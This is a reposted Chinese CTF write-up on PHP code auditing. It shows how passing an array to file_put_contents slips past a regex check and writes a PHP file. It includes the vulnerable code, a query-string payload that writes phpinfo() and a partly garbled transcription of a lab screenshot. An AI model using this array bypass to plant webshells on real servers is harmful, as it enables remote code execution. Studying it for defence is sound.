




# php 写入文件 ctf,CTF PHP代码审计中file\_put\_contents函数利用

转载

策策的荣耀百科  于 2021-03-10 02:59:42 发布  756  收藏 1

文章标签: [php 写入文件 ctf](#)

源码分析

```
function is_valid($title, $data)
{
    $data = $title . $data;
    return preg_match('|\\A[_a-zA-Z0-9]+\\z|is', $data);
}

function write_cache($title, $content)
{
    $dir = changedir(CACHE_DIR . get_username() . '/');
    if(!is_dir($dir)) {
        mkdir($dir);
    }
    ini_set('open_basedir', $dir);
    if (!is_valid($title, $content)) {
        exit("title or content error");
    }
    $filename = "{$dir}{$title}.php";
    file_put_contents($filename, $content);
    ini_set('open_basedir', __DIR__ . '/');
}
```

自定义函数is\_valid, 传入两个变量, 将其组合为\$data,preg\_match正则匹配, 不能有除\_a-zA-Z0-9之外的字符

将路径与用户输入title拼接+.php为文件名

通过file\_put\_contents写入文件

难点在于。要写一个webshell。但字符只能a-zA-Z0-9\_, 而webshell至少需要

writeup

看file\_put\_contens的文档即可发现, 函数第二个允许传入数组, 将被连接为字符串再写入

例如

```
content[]=<?php &content[]=%0aphpinfo());
```

```
file_put_contents($filename,$content)
```

此时，\$content为<?php phpinfo(); 传入的数组刚好绕过了正则检测

The screenshot shows a Windows Server environment with two main windows. The left window is Notepad++ editing a PHP file named '2.php'. The code is as follows:

```
1 <?php
2 $a=$_GET['a'];
3 $b=$_GET['b'];
4 function is_valid($a,$b){
5     $data=$a.$b;
6     return preg_match('/\A[ _a-zA-Z0-9]+\z|is', $data);
7 }
8 if(is_valid($a,$b)){
9     exit('error');
10 }
11 $filename="{a}{b}.php";
12 echo $filename."<br />";
13 var_dump($b);
14 echo "<br />";
15 file_put_contents($filename,$b);
16
17
18 ?>
```

The right window is Burp Suite, showing the 'Log URL' tab with the following URL:

```
http://192.168.47.133/2.php?a=s&b]=<?php&b]=%0aphpinfo;%0a?>
```

Below the URL, the 'Execute' button is visible. The 'sArray.php' tab shows the following output:

```
array(2) { [0]=> string(5) " * string(14) " phpinfo(); ?> " }
```